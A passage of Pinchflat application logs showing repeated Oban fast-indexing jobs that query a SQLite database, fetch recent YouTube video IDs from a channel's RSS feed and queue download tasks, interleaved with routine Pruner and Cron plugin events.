s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:39.618 [debug] QUERY OK source="media_profiles" db=0.0ms idle=453.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:20:39.618 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:39.618 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 07:20:39.735 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 07:20:39.736 [debug] QUERY OK source="media_items" db=0.2ms idle=117.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 07:20:39.738 [debug] QUERY OK source="media_items" db=1.6ms idle=117.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 07:20:39.738 [debug] QUERY OK source="tasks" db=0.0ms idle=119.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [553, 3, ~U[2026-07-24 07:20:39Z], ~U[2026-07-24 07:20:39Z]] 07:20:39.739 [info] {"args":{"id":3},"id":552,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":120837,"event":"job:stop","queue_time":509733,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 07:20:55.953 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:00.174 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:21:25.954 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:55.955 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:00.175 [info] {"source":"oban","duration":303,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:22:25.956 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:55.957 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:00.176 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:23:25.958 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:55.959 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:00.177 [info] {"source":"oban","duration":287,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:24:25.960 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:55.961 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:00.178 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:25:25.962 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:55.963 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:00.178 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:26:25.964 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:55.965 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:00.179 [info] {"source":"oban","duration":135,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:27:25.966 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:55.967 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:00.180 [info] {"source":"oban","duration":137,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:28:25.968 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:55.969 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:00.181 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:29:25.970 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:55.971 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:00.184 [info] {"source":"oban","duration":110,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:30:25.972 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:40.241 [info] {"args":{"id":3},"id":553,"meta":{},"system_time":1784878240241064864,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 07:30:40.241 [debug] QUERY OK source="sources" db=0.0ms idle=1052.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 07:30:40.241 [debug] QUERY OK source="settings" db=0.0ms idle=1052.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:30:40.241 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:30:40.241 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:30:40.241 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 07:30:40.365 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 07:30:40.366 [debug] QUERY OK source="media_items" db=0.4ms idle=124.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 07:30:40.368 [debug] QUERY OK source="media_items" db=1.8ms idle=125.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 07:30:40.369 [debug] QUERY OK source="tasks" db=0.0ms idle=127.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [554, 3, ~U[2026-07-24 07:30:40Z], ~U[2026-07-24 07:30:40Z]] 07:30:40.369 [info] {"args":{"id":3},"id":553,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":128340,"event":"job:stop","queue_time":502564,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 07:30:55.973 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:00.185 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:31:25.974 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:55.975 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:00.186 [info] {"source":"oban","duration":308,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:32:25.976 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:55.977 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:00.187 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:33:25.978 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:55.979 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:00.188 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:34:25.980 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:55.981 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:00.189 [info] {"source":"oban","duration":276,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:35:25.982 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:55.983 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:00.190 [info] {"source":"oban","duration":135,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:36:25.984 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:55.985 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:00.190 [info] {"source":"oban","duration":113,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:37:25.989 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:55.990 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:00.192 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:38:25.991 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:55.992 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:00.193 [info] {"source":"oban","duration":147,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:39:25.993 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:55.995 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:00.194 [info] {"source":"oban","duration":128,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:40:25.996 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:40.853 [info] {"args":{"id":3},"id":554,"meta":{},"system_time":1784878840853147001,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 07:40:40.853 [debug] QUERY OK source="sources" db=0.1ms idle=1562.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 07:40:40.853 [debug] QUERY OK source="settings" db=0.0ms idle=1562.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:40:40.853 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:40:40.853 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:40:40.853 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 07:40:40.985 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 07:40:40.985 [debug] QUERY OK source="media_items" db=0.2ms idle=132.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 07:40:40.987 [debug] QUERY OK source="media_items" db=1.7ms idle=132.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 07:40:40.988 [debug] QUERY OK source="tasks" db=0.1ms idle=134.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [555, 3, ~U[2026-07-24 07:40:40Z], ~U[2026-07-24 07:40:40Z]] 07:40:40.989 [info] {"args":{"id":3},"id":554,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":135706,"event":"job:stop","queue_time":484088,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 07:40:55.997 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:00.195 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:41:25.998 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:55.999 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:00.196 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:42:26.000 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:56.001 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:00.197 [info] {"source":"oban","duration":265,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:43:26.002 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:56.003 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:00.198 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:44:26.004 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:56.005 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:00.199 [info] {"source":"oban","duration":139,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:45:26.006 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:56.007 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:00.199 [info] {"source":"oban","duration":83,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:46:26.008 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:56.009 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:00.201 [info] {"source":"oban","duration":268,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:47:26.010 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:56.011 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:00.202 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:48:26.012 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:56.013 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:00.202 [info] {"source":"oban","duration":120,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:49:26.014 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:56.015 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:00.204 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:50:26.016 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:29.454 [info] {"args":{"id":1},"id":543,"meta":{},"system_time":1784879429454273294,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":13,"tags":["media_source","fast_indexing","show_in_dashboard"]} 07:50:29.454 [debug] QUERY OK source="sources" db=0.0ms idle=66.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", 